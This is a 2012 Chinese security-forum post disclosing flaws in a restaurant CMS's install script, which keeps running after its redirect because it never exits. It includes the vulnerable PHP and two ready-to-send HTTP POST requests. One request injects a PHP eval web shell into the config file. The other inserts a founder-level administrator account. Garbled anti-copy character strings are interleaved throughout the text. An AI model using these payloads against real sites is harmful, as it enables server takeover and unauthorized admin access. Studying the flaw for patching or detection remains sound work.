中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后，会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 \# R, l s/ t" ?+ x
& d$ i9 q( r; M1 k
<?php
8 q+ D0 L+ \" Q/ I) j; W/ d
if(file_exists("../install.lock"))
6 H2 f6 l$ i( \ s3 h3 [
{
# ]: O+ S5 i! v* V- A" ~
header("Location: ../");//没有退出
8 I0 a" i" h% l( n) B% l5 s
}
^. a/ _: e7 F
3 D y3 S/ \$ `
//echo 'tst';exit;
* V( {# `1 {" i. d
require_once("init.php");
& r0 i' v4 i9 h' p0 c: F& W
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
0 T0 A5 B3 n- v1 ]7 r
{
; W' U& D* d$ K$ U% D
可见在/install/index.php存在时，只是header做了302重定向并没有退出，也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
# a. K7 }/ _* H+ E! |; N4 N
2 G- I( i9 I' x. a" g
1、getshell（很危险）
6 ~8 c& j1 V4 ~) T" {/ t
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
8 x. ~2 F( T6 b2 c2 Y, x
{
" K& r y3 H1 [9 W( p$ v/ ~" k) k
$smarty->assign("step",1);
& c% x$ [: } B- ~6 E- L( O$ j% D H6 Z
$smarty->display("index.html");
) d& I3 z8 I' W0 I9 s6 s6 X3 H
}elseif($_REQUEST['step']==2)
( ^& b+ n* D o( p! R
{
" h: K* `: `* @+ J/ ]6 c
$mysql_host=trim($_POST['mysql_host']);
( R: I6 U, N" A9 X! P& ?& w! G1 _
$mysql_user=trim($_POST['mysql_user']);
7 A# N6 W: Z, V2 }5 f. h
$mysql_pwd=trim($_POST['mysql_pwd']);
* A4 _0 a3 m7 P' P
$mysql_db=trim($_POST['mysql_db']);
3 |& |2 z$ Y" k5 Y- o* @
$tblpre=trim($_POST['tblpre']);
3 z" W l! y. `$ q0 \% Q' t. @
$domain==trim($_POST['domain']);
% i3 ]1 Z; W1 c- |1 S* h2 u, m/ T, @8 U
$str="<?php \r\n";
) c5 Y- ?- N1 u6 ^
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
( W2 S' s* v2 u# t3 C0 z7 ~! k: `
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
' B( x( K J# r, `/ A
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
+ J- |8 j: y$ y
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
" c6 x! A2 m! F/ r1 N# L2 ^* d
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
. V: z/ T4 y' a, s4 i% P
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
6 x4 v( x/ I% y7 Z1 A1 o% h# `5 Q
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
9 N$ [% e9 [: ^" u& j: b8 ?
$str.='define("SKINS","default");'."\r\n";
; O: E' {3 u* A; P0 o) n
$str.='?>';
8 I* z/ m( d8 F8 j7 m
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
7 T& }& l% q3 n: R
上面的代码将POST的数据直接写入了../config/config.inc.php文件，那么我们提交如下POST包，即可获得一句话木马
! S7 L. b* T" g
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 O9 R, s; \2 Y+ D+ ?4 ~
Host: 192.168.80.129
9 W7 {" \7 u% j: Y1 Z
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
- b2 S N! E6 S- a" H- Q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
! K& O' y0 k; x9 [8 n
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( D& P1 s4 `7 S( W, t6 K I
Accept-Encoding: gzip, deflate
) @) ?0 U3 n M
Referer:
http://192.168.80.129/canting/install/index.php?step=1
( J; ?) ~$ G, x" |1 Y/ P
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
! R* L" A) T, i6 ]
Content-Type: application/x-www-form-urlencoded
' I7 ?5 o) r% @5 e1 ^0 o7 k2 ^ H
Content-Length: 126
: K( r* {, x0 e' B" c2 C$ y
6 x6 \ [- B* K1 a
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
( v$ z; P- Y( m4 M5 l
但是这个方法很危险，将导致网站无法运行。
0 C) q }& Y% l" M4 A
5 P9 j& E% Q* N
2、直接添加管理员
# v, C' H# i+ g3 o3 l- ~! `
$ _8 }+ [; D, N, F& `4 W* e
elseif($_REQUEST['step']==5)
& W! Y) D: N& @6 Y
{
; ^& a9 G0 b4 S5 g- f
if($_POST)
* Y8 C/ r0 Z# i7 S- B; \
{ require_once("../config/config.inc.php");
; t0 l' X' u* T& e: T1 n9 D
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
4 e4 f3 z/ D' m
mysql_select_db(MYSQL_DB,$link);
, X5 }6 h8 J0 A: g9 A+ x
mysql_query("SET NAMES ".MYSQL_CHARSET );
: V, a( L% _7 r- b) I7 A I
mysql_query("SET sql_mode=''");
' @/ ], F6 a+ y' \0 `% y0 c& _
) G* Z( L0 e5 l* N' f
$adminname=trim($_POST['adminname']);
% [( T7 _4 h2 e( P; K
$pwd1=trim($_POST['pwd1']);
/ C! K1 [9 [# R/ h' }. [0 M2 }7 {
$pwd2=trim($_POST['pwd2']);
; D. }5 ^. t% P4 Y7 H
if(empty($adminname))
- k& a" _ C2 {0 h* h& _
{
# {9 @/ B. l7 c/ \: D$ S7 _8 H! j
6 m" B3 n% P2 y9 v( x, _1 p- o- d3 p
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
, ~1 D) E) h6 F! v% J5 I# E- F
exit();
- T. y! @) k! Y( V+ E
}
2 i: S% S5 S, E) d" d
if(($pwd1!=$pwd2) or empty($pwd1))
6 R3 k5 B# `3 |
{
3 t" p; ^8 ~! n) C
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
5 O0 `" f% D. G( Z2 F" {
}
& |9 A; `8 K0 H8 a; I, c x
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
) r( o8 H, f. {: H g9 r
}
8 N3 P$ m; T, K$ \0 b. P
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号，语句如下：
9 n7 \/ ^3 Y6 [8 I. W
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
/ p6 a+ J6 d* r7 i
Host: 192.168.80.129
9 m ]1 q1 m# Z1 |/ W+ R+ l
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
* |* F N" u7 P
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ i! J, K# Z! l
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
5 |2 B& D0 J) O# V
Accept-Encoding: gzip, deflate
C! P! C6 a) D" A# ?
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
/ m: M0 z4 ]2 O
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
9 \ I0 v: ~0 h+ Z$ Y5 J2 O/ t
Content-Type: application/x-www-form-urlencoded
$ e J8 P. [3 K; j/ w3 Q
Content-Length: 46
+ @- h! k6 X3 k% @
" j" n5 p' A* [% h/ r
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
8 Z7 U0 Y4 n6 P- w5 \1 V; Y. p
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2